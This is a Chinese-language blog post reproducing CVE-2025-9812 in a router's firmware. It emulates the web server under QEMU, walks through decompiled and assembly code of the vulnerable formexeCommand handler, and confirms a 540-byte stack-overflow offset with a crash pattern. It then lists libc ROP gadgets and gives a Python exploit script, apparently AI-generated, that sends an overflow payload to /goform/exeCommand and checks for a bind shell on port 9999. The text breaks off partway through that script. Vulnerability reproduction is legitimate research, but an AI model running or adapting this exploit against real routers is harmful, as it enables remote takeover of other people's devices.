{"id":97851,"date":"2026-08-30T12:16:59","date_gmt":"2026-08-30T04:16:59","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/97851.html"},"modified":"2026-08-30T12:16:59","modified_gmt":"2026-08-30T04:16:59","slug":"cve-2025-9812%e5%a4%8d%e7%8e%b0","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/97851.html","title":{"rendered":"CVE-2025-9812\u590d\u73b0"},"content":{"rendered":"
\u9996\u5148，\u6211\u4eec\u62ff\u5230\u8fd9\u4e2a\u56fa\u4ef6\u4e4b\u540e\u8fd8\u662f\u5148\u8fdb\u884c\u67e5\u770b\u4e00\u4e0b\u8fd9\u4e2a\u67b6\u6784<\/h5>\n

\n

\"\"<\/p>\n

\u8fd9\u91cc\u53ef\u4ee5\u770b\u51fa\u6765\u662f32\u4f4d\u7684arm\u67b6\u6784\u7684；<\/h5>\n

~ > cd \/home\/bgl1\/renwu
\n~\/renwu > ls
\n'US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin' '_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted'
\n~\/renwu > cd _US_CH22V1.0BR_V1.0.0.6\\\\(468\\\\)_CN_TDC.bin.extracted
\n~\/r\/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted > sudo ip link add br0 type bridge
\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510
\n\u2502 🦀 Clawd Permission Request \u2502
\n\u2502 Command: ip link add br0 type bridge
\n\u2502 Waiting for your response on Windows… \u2502
\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518
\nClawd decision: allow
\n\u2713 Approved! Executing with sudo…
\n[sudo] bgl1 \u7684\u5bc6\u7801：
\n\u5bf9\u4e0d\u8d77，\u8bf7\u91cd\u8bd5\u3002
\n[sudo] bgl1 \u7684\u5bc6\u7801：
\n~\/r\/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted > sudo ip addr add 192.168.0.1\/24 dev br0 12s
\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510
\n\u2502 🦀 Clawd Permission Request \u2502
\n\u2502 Command: ip addr add 192.168.0.1\/24 dev br0
\n\u2502 Waiting for your response on Windows… \u2502
\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518
\nClawd decision: allow
\n\u2713 Approved! Executing with sudo…
\n~\/r\/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted > sudo ip link set br0 up 3s
\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510
\n\u2502 🦀 Clawd Permission Request \u2502
\n\u2502 Command: ip link set br0 up
\n\u2502 Waiting for your response on Windows… \u2502
\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518
\nClawd decision: allow
\n\u2713 Approved! Executing with sudo…
\n~\/r\/_US_CH22V1.0BR_V1.0.0.6(468)_CN_TDC.bin.extracted > cd squashfs-root
\n~\/r\/_\/squashfs-root > sudo mount -t proc proc .\/proc\/
\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510
\n\u2502 🦀 Clawd Permission Request \u2502
\n\u2502 Command: mount -t proc proc .\/proc\/
\n\u2502 Waiting for your response on Windows… \u2502
\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518
\nClawd decision: allow
\n\u2713 Approved! Executing with sudo…
\n~\/r\/_\/squashfs-root > sudo mount -o bind \/dev .\/dev\/
\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510
\n\u2502 🦀 Clawd Permission Request \u2502
\n\u2502 Command: mount -o bind \/dev .\/dev\/
\n\u2502 Waiting for your response on Windows… \u2502
\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518
\nClawd decision: allow
\n\u2713 Approved! Executing with sudo…<\/p>\n

\u4e0a\u9762\u8fd9\u4e00\u90e8\u5206\u662f\u6211\u4eec\u8fdb\u884c\u4eff\u771f\u542f\u52a8\u4e4b\u524d\u5148\u8bbe\u7f6e\u4e00\u4e0b\u7f51\u6865\u4ee5\u53ca\u76f8\u5173\u7684\u6587\u4ef6\u6302\u8f7d，\u9632\u6b62\u540e\u9762\u56e0\u4e3a\u8fd9\u4e9b\u539f\u56e0\u5bfc\u81f4\u62a5\u9519；<\/h5>\n

\n

\"\"<\/p>\n

~\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root > sudo chroot . \/qemu-arm-static \/bin\/httpd<\/p>\n

Yes:<\/p>\n

****** WeLoveLinux ****** <\/p>\n

Welcome to …
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nkillall: dhcps: no process killed
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nkillall: dhcps-guest: no process killed
\nINIT cert part CertInitFromFlash
\nfailed to mtd_open cert
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.<\/p>\n

Stop Ftp Sev……
\nPostMsg msg create error
\nPost Msg failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nhttpd listen ip = 192.168.0.1 port = 80
\nwebs: Listening for HTTP requests at address 220.59.9.0
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nline:458.open \/dev\/flow failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory<\/p>\n

\u8fd9\u91cc\u6211\u4eec\u76f4\u63a5\u8fdb\u884c\u4e86qemu\u542f\u52a8，\u53d1\u73b0\u8fd9\u91cc\u4e0d\u9700\u8981\u8fdb\u884cpath，\u76f4\u63a5\u8fdb\u884cpatch\u5c31\u884c<\/h6>\n
<\/h5>\n

\"\"<\/p>\n

\u8fd9\u91cc\u7531\u4e8e\u6211\u7684emba\u56e0\u4e3adocker\u7684\u539f\u56e0，\u65e0\u6cd5\u8fdb\u884c\u6b63\u5e38\u626b\u63cf，\u6240\u4ee5，\u8fd9\u91cc\u4f7f\u7528ai\u8fdb\u884c\u626b\u63cf\u4e00\u4e0b<\/h5>\n

\n

\u8fd9\u91cc\u6211\u4eec\u53d1\u73b0\u4e86doSystemCmd\u51fd\u6570，\u8fd9\u4e2a\u51fd\u6570\u5185\u90e8\u8c03\u7528\u7684\u662fsystem，\u4f46\u662f\u6211\u4eec\u6bd4\u8f83\u83dc，\u8fd8\u662f\u4f7f\u7528strcpy\u5427<\/h5>\n

int __fastcall formexeCommand(int a1)
\n{
\n size_t v1; \/\/ r0
\n char v4[4096]; \/\/ [sp+10h] [bp-231Ch] BYREF
\n char v5[4096]; \/\/ [sp+1010h] [bp-131Ch] BYREF
\n char s1[256]; \/\/ [sp+2010h] [bp-31Ch] BYREF
\n char s[512]; \/\/ [sp+2110h] [bp-21Ch] BYREF
\n size_t n; \/\/ [sp+2310h] [bp-1Ch]
\n FILE *stream; \/\/ [sp+2314h] [bp-18h]
\n char *src; \/\/ [sp+2318h] [bp-14h]
\n int v11; \/\/ [sp+231Ch] [bp-10h]<\/p>\n

memset(s, 0, sizeof(s));
\n memset(s1, 0, sizeof(s1));
\n memset(v5, 0, sizeof(v5));
\n memset(v4, 0, sizeof(v4));
\n v11 = 0;
\n src = (char *)sub_28B84(a1, "cmdinput", &unk_852EC);
\n strcpy(s, src);
\n sub_4F554(s1, s);
\n if ( !strcmp(s1, "cd") )
\n {
\n v1 = strlen(path_buf);
\n sub_4F634(path_buf, s, v1);
\n doSystemCmd();
\n }
\n else if ( !strcmp(s1, "ls") || !strcmp(s1, "cat") )
\n {
\n sub_4F280(s);
\n doSystemCmd();
\n }
\n else if ( !strcmp(s1, "echo") )
\n {
\n sub_4EFA8(s);
\n doSystemCmd();
\n }
\n else
\n {
\n if ( strcmp(s1, "pwd") )
\n strcmp(s1, "ping");
\n doSystemCmd();
\n }
\n stream = fopen("\/tmp\/cmdTmp.txt", "r");
\n while ( 1 )
\n {
\n memset(v4, 0, sizeof(v4));
\n if ( !fgets(v4, 4096, stream) )
\n break;
\n n = strlen(v4);
\n if ( v11 + n + 1 > 0x1000 )
\n break;
\n memcpy(&v5[v11], v4, n);
\n v11 += n;
\n }
\n fclose(stream);
\n sub_29504(
\n a1,
\n "HTTP\/1.1 200 OK\\\\nContent-type: text\/plain; charset=utf-8\\\\nPragma: no-cache\\\\nCache-Control: no-cache\\\\n\\\\n");
\n sub_29504(a1, "%s", v5);
\n return sub_29A4C(a1, 200);
\n}<\/p>\n

\n

\u8fd9\u91cc\u6211\u4eec\u53d1\u73b0\u4e86\u8fd9\u4e2a\u6f0f\u6d1e\u51fd\u6570<\/h5>\n

; Attributes: bp-based frame fpd=0xFFFFFFF8<\/p>\n

; int __fastcall formexeCommand(int)
\nEXPORT formexeCommand
\nformexeCommand<\/p>\n

var_22F8= -0x22F8
\nvar_12F8= -0x12F8
\ns1= -0x314
\ns= -0x214
\nn= -0x14
\nstream= -0x10
\nsrc= -0xC
\nvar_8= -8
\nvar_4= -4<\/p>\n

PUSH {R4,R11,LR}
\nADD R11, SP, #8
\nSUB SP, SP, #0x2300
\nSUB SP, SP, #0x24
\nLDR R4, =(_GLOBAL_OFFSET_TABLE_ – 0x4F8F4)
\nADD R4, PC, R4 ; _GLOBAL_OFFSET_TABLE_
\nMOV R3, #0xFFFFDCEC
\nSUB R12, R11, #-(-8+var_4)
\nSTR R0, [R12,R3]
\nMOV R3, #0xFFFFDCE8
\nSUB R0, R11, #-(-8+var_4)
\nSTR R1, [R0,R3]
\nMOV R3, #0xFFFFDCE4
\nSUB R1, R11, #-(-8+var_4)
\nSTR R2, [R1,R3]
\nSUB R2, R11, #-(-8+s)
\nMOV R3, #0x200
\nMOV R0, R2 ; s
\nMOV R1, #0 ; c
\nMOV R2, R3 ; n
\nBL memset
\nSUB R2, R11, #-(-8+s1)
\nMOV R3, #0x100
\nMOV R0, R2 ; s
\nMOV R1, #0 ; c
\nMOV R2, R3 ; n
\nBL memset
\nMOV R3, #0xFFFFECF0
\nSUB R12, R11, #-(-8+var_4)
\nADD R2, R12, R3
\nMOV R3, #0x1000
\nMOV R0, R2 ; s
\nMOV R1, #0 ; c
\nMOV R2, R3 ; n
\nBL memset
\nMOV R3, #0xFFFFDCF0
\nSUB R0, R11, #-(-8+var_4)
\nADD R2, R0, R3
\nMOV R3, #0x1000
\nMOV R0, R2 ; s
\nMOV R1, #0 ; c
\nMOV R2, R3 ; n
\nBL memset
\nMOV R3, #0
\nSTR R3, [R11,#-8+var_8]
\nMOV R3, #0xFFFFDCEC
\nSUB R1, R11, #-(-8+var_4)
\nLDR R0, [R1,R3]
\nLDR R3, =(aCmdinput – 0x91DF8) ; "cmdinput"
\nADD R3, R4, R3 ; "cmdinput"
\nMOV R1, R3
\nLDR R3, =(unk_852EC – 0x91DF8)
\nADD R3, R4, R3 ; unk_852EC
\nMOV R2, R3
\nBL sub_28B84
\nSTR R0, [R11,#-8+src]
\nSUB R3, R11, #-(-8+s)
\nMOV R0, R3 ; dest
\nLDR R1, [R11,#-8+src] ; src
\nBL strcpy
\nSUB R2, R11, #-(-8+s1)
\nSUB R3, R11, #-(-8+s)
\nMOV R0, R2
\nMOV R1, R3
\nBL sub_4F554
\nSUB R3, R11, #-(-8+s1)
\nMOV R0, R3 ; s1
\nLDR R3, =(aCd – 0x91DF8) ; "cd"
\nADD R3, R4, R3 ; "cd"
\nMOV R1, R3 ; s2
\nBL strcmp
\nMOV R3, R0
\nCMP R3, #0
\nBNE loc_4FA68<\/p>\n

\u6211\u4eec\u8fd9\u91cc\u67e5\u770b\u4e00\u4e0b\u8fd9\u4e2a\u6f0f\u6d1e\u51fd\u6570formexeCommand\u7684\u6c47\u7f16\u4ee3\u7801，\u6211\u4eec\u53ef\u4ee5\u8ba1\u7b97\u51fa\u8fd9\u4e2a\u51fd\u6570\u6808\u7684\u5927\u5c0f<\/h5>\n

SUB SP, SP, #0x2300<\/p>\n

SUB SP, SP, #0x24<\/p>\n

\u6211\u4eec\u770b\u8fd9\u4e24\u53e5\u6c47\u7f16\u7684\u4ee3\u7801，\u5c31\u662f\u6808\u7a7a\u95f4\u7684\u5927\u5c0f8996\u5b57\u8282<\/h5>\n

\n

\n

\"\"<\/p>\n

\u8fd9\u91cc\u6211\u4eec\u53d1\u73b0\u8fd9\u4e2as\u7684\u76f8\u5bf9\u504f\u79fb\u91cf\u4e3a540\u5b57\u8282，\u8fd9\u662f\u9759\u6001\u8c03\u8bd5，\u6211\u4eec\u53bbgdb\u52a8\u6001\u8c03\u8bd5\u4e00\u4e0b，\u786e\u8ba4\u4e00\u4e0b\u504f\u79fb\u91cf<\/h5>\n
\u8fd9\u91cc\u5148\u8fdb\u884cqemu\u542f\u52a8<\/h5>\n

~\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root > sudo chroot . .\/qemu-arm-static -g 1234 \/bin\/httpd 1m 29s<\/p>\n

Yes:<\/p>\n

****** WeLoveLinux ****** <\/p>\n

Welcome to …
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nkillall: dhcps: no process killed
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nkillall: dhcps-guest: no process killed
\nINIT cert part CertInitFromFlash
\nfailed to mtd_open cert
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.<\/p>\n

Stop Ftp Sev……
\nPostMsg msg create error
\nPost Msg failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nhttpd listen ip = 192.168.0.1 port = 80
\nwebs: Listening for HTTP requests at address 220.59.9.0
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nconnect: No such file or directory
\nConnect to server failed.
\nline:458.open \/dev\/flow failed.
\nsh: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB: File name too long<\/p>\n

\n

\"\"<\/p>\n

\"\"<\/p>\n

\u542f\u52a8gdb\u5e76\u4e14\u53d1\u9001\u811a\u672c<\/h5>\n

\n

\"\"<\/p>\n

\u8fd9\u91cc\u770b\u5230pc\u6307\u9488\u91cc\u9762\u662fb\u3002\u6240\u4ee5\u6211\u4eec\u7b97\u51fa\u6765\u7684\u504f\u79fb\u91cf\u662f\u5bf9\u7684<\/h5>\n
\u786e\u8ba4\u5b8c\u4e4b\u540e\u5c31\u53ef\u4ee5\u6784\u9020rop\u4e86<\/h5>\n

~\/r\/c\/_\/squashfs-root > sudo cat \/proc\/$(pgrep qemu-arm)\/maps | grep libc.so err 1|1
\n[sudo] bgl1 \u7684\u5bc6\u7801：
\n66562000-665c7000 r–p 00000000 08:03 2416702 \/home\/bgl1\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root\/lib\/libc.so.0
\n665cf000-665d0000 r–p 00065000 08:03 2416702 \/home\/bgl1\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root\/lib\/libc.so.0
\n665d0000-665d1000 rw-p 00066000 08:03 2416702 \/home\/bgl1\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root\/lib\/libc.so.0
\n6670f000-66714000 r–p 00000000 08:03 2416697 \/home\/bgl1\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root\/lib\/ld-uClibc.so.0
\n6671b000-6671c000 r–p 00004000 08:03 2416697 \/home\/bgl1\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root\/lib\/ld-uClibc.so.0
\n6671c000-6671d000 rw-p 00005000 08:03 2416697 \/home\/bgl1\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root\/lib\/ld-uClibc.so.0
\n~\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root > arm-linux-gnueabi-readelf -s lib\/libc.so.0 | grep " system@"
\n~\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root > arm-linux-gnueabi-objdump -d lib\/libc.so.0 | grep -A2 "pop.*r0.*pc" err 0|1
\n 19744:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}
\n 19748:00053df0 strdeqr3, [r5], -r0
\n 1974c:000009e8 andeqr0, r0, r8, ror #19
\n—
\n 2f354:e8bd81ff pop{r0, r1, r2, r3, r4, r5, r6, r7, r8, pc}
\n 2f358:0003e1dc ldrdeqlr, [r3], -ip
\n 2f35c:000010fc strdeqr1, [r0], -ip
\n—
\n 3224c:e8bd80bf pop{r0, r1, r2, r3, r4, r5, r7, pc}
\n 32250:0003b2f8 strdeqfp, [r3], -r8
\n 32254:000011a8 andeqr1, r0, r8, lsr #3
\n—
\n 33e48:e8bd801f pop{r0, r1, r2, r3, r4, pc}
\n 33e4c:000396e0 andeqr9, r3, r0, ror #13
\n 33e50:000017c0 andeqr1, r0, r0, asr #15
\n—
\n 33eac:e8bd801f pop{r0, r1, r2, r3, r4, pc}
\n 33eb0:00039684 andeqr9, r3, r4, lsl #13
\n 33eb4:000017c0 andeqr1, r0, r0, asr #15
\n—
\n 34470:e8bd801f pop{r0, r1, r2, r3, r4, pc}
\n 34474:000390b8 strheqr9, [r3], -r8
\n 34478:00001b18 andeqr1, r0, r8, lsl fp
\n—
\n 344d4:e8bd801f pop{r0, r1, r2, r3, r4, pc}
\n 344d8:0003905c andeqr9, r3, ip, asr r0
\n 344dc:00001b18 andeqr1, r0, r8, lsl fp
\n—
\n 34848:e8bd801f pop{r0, r1, r2, r3, r4, pc}
\n 3484c:00038ce0 andeqr8, r3, r0, ror #25
\n 34850:00001e90 muleqr0, r0, lr
\n—
\n 348ac:e8bd801f pop{r0, r1, r2, r3, r4, pc}
\n 348b0:00038c84 andeqr8, r3, r4, lsl #25
\n 348b4:00001e90 muleqr0, r0, lr
\n—
\n 35e64:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}
\n 35e68:000376e4 andeqr7, r3, r4, ror #13
\n 35e6c:000009e8 andeqr0, r0, r8, ror #19
\n—
\n 3c764:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}
\n 3c768:00030dd4 ldrdeqr0, [r3], -r4
\n 3c76c:000009e8 andeqr0, r0, r8, ror #19
\n—
\n 3db60:08bd8001 popeq{r0, pc}
\n 3db64:e3520002 cmpr2, #2
\n 3db68:e4d13001 ldrbr3, [r1], #1
\n—
\n 3db80:e8bd8001 pop{r0, pc}
\n 3db84:e26cc004 rsbip, ip, #4
\n 3db88:e35c0002 cmpip, #2
\n—
\n 4b698:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}
\n 4b69c:00021ebc ; <UNDEFINED> instruction: 0x00021ebc
\n 4b6a0:00000d14 andeqr0, r0, r4, lsl sp
\n—
\n 4bc44:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}
\n 4bc48:00021910 andeqr1, r2, r0, lsl r9
\n 4bc4c:00000d2c andeqr0, r0, ip, lsr #26
\n—
\n 4c174:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}
\n 4c178:000213e0 andeqr1, r2, r0, ror #7
\n 4c17c:00000d44 andeqr0, r0, r4, asr #26
\n—
\n 501b0:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}
\n 501b4:0001d37c andeqsp, r1, ip, ror r3
\n 501b8:000047bc ; <UNDEFINED> instruction: 0x000047bc
\n—
\n 53b30:e8bd807f pop{r0, r1, r2, r3, r4, r5, r6, pc}
\n 53b34:00019ba0 andeqr9, r1, r0, lsr #23
\n 53b38:00000a44 andeqr0, r0, r4, asr #20
\n—
\n 5ae7c:e8bd8001 pop{r0, pc}
\n 5ae80:e52de008 strlr, [sp, #-8]!
\n 5ae84:ebfffff8 bl5ae6c <__libc_system+0xbfc>
\n~\/renwu\/ch22\/_US_CH22V1BR_CH22_V1.0.0.1_CN.bin.extracted\/squashfs-root > <\/p>\n

\u4f46\u662f\u7531\u4e8e\u6bcf\u6b21\u542f\u52a8qemu\u7684\u65f6\u5019，\u56e0\u4e3aaslr\u7684\u539f\u56e0\u5bfc\u81f4\u6bcf\u6b21\u5730\u5740\u90fd\u4e0d\u4e00\u6837，\u6240\u4ee5\u5c31\u76f4\u63a5ai\u4e86<\/h5>\n

import socket
\nimport struct
\nimport subprocess
\nimport sys
\nimport os
\nimport time<\/p>\n

# \u2500\u2500 Config \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
\nTARGET_IP = "192.168.0.1"
\nTARGET_PORT = 80
\nBINDSHELL_PORT = 9999
\nOFFSET_TO_PC = 540 # Confirmed with cyclic pattern<\/p>\n

# libc offsets (from lib\/libc.so.0)
\nLIBC_SYSTEM_OFFSET = 0x0005a270
\nLIBC_POP_R0_PC_OFF = 0x0003db80 # pop {r0, pc}<\/p>\n

# Approximate stack address (observed in GDB at crash point)
\n# Adjust if this changes between QEMU runs
\nSTACK_CMD_ADDR = 0x4080028c # SP+20 from observed crash SP 0x40800278<\/p>\n

# \u2500\u2500 Helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
\ndef p32(x):
\n return struct.pack("<I", x & 0xFFFFFFFF)<\/p>\n

def get_libc_base():
\n """Read libc base from running qemu-arm process"""
\n try:
\n pid = subprocess.check_output(
\n "pgrep -f 'qemu-arm.*httpd' | head -1", shell=True
\n ).decode().strip()
\n if not pid:
\n return None
\n maps = subprocess.check_output(
\n f"sudo cat \/proc\/{pid}\/maps", shell=True
\n ).decode()
\n for line in maps.split('\\\\n'):
\n if 'libc.so.0' in line and 'r-xp' in line:
\n return int(line.split('-')[0], 16)
\n except:
\n pass
\n return None<\/p>\n

def send_payload(payload):
\n """Send POST request with overflow payload"""
\n body = b"cmdinput=" + payload
\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
\n sock.settimeout(5)
\n sock.connect((TARGET_IP, TARGET_PORT))
\n req = (
\n f"POST \/goform\/exeCommand HTTP\/1.0\\\\r\\\\n"
\n f"Host: {TARGET_IP}\\\\r\\\\n"
\n f"Content-Type: application\/x-www-form-urlencoded\\\\r\\\\n"
\n f"Content-Length: {len(body)}\\\\r\\\\n"
\n f"\\\\r\\\\n"
\n ).encode() + body
\n sock.send(req)
\n try:
\n resp = sock.recv(4096)
\n print(f"[*] Response: {resp[:200]}")
\n except socket.timeout:
\n print("[*] No response (httpd may have crashed – expected for ROP)")
\n sock.close()<\/p>\n

def check_shell():
\n """Check if bind shell is listening"""
\n try:
\n s = socket.socket()
\n s.settimeout(3)
\n s.connect((TARGET_IP, BINDSHELL_PORT))
\n s.send(b"echo SHELL_OK; id\\\\n")
\n time.sleep(0.5)
\n data = s.recv(4096)
\n s.close()
\n return data
\n except:
\n return None<\/p>\n

# \u2500\u2500 Main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500
\ndef main():
\n print("[*] CVE-2025-9812 ROP Exploit")
\n print(f"[*] Target: {TARGET_IP}:{TARGET_PORT}")
\n print(f"[*] Offset to PC: {OFFSET_TO_PC} bytes")<\/p>\n

# 1. Get libc base
\n libc_base = get_libc_base()
\n if not libc_base:
\n print("[-] Cannot find libc base. Is httpd running?")
\n print("[*] Trying command injection fallback…")
\n # Command injection fallback (always works)
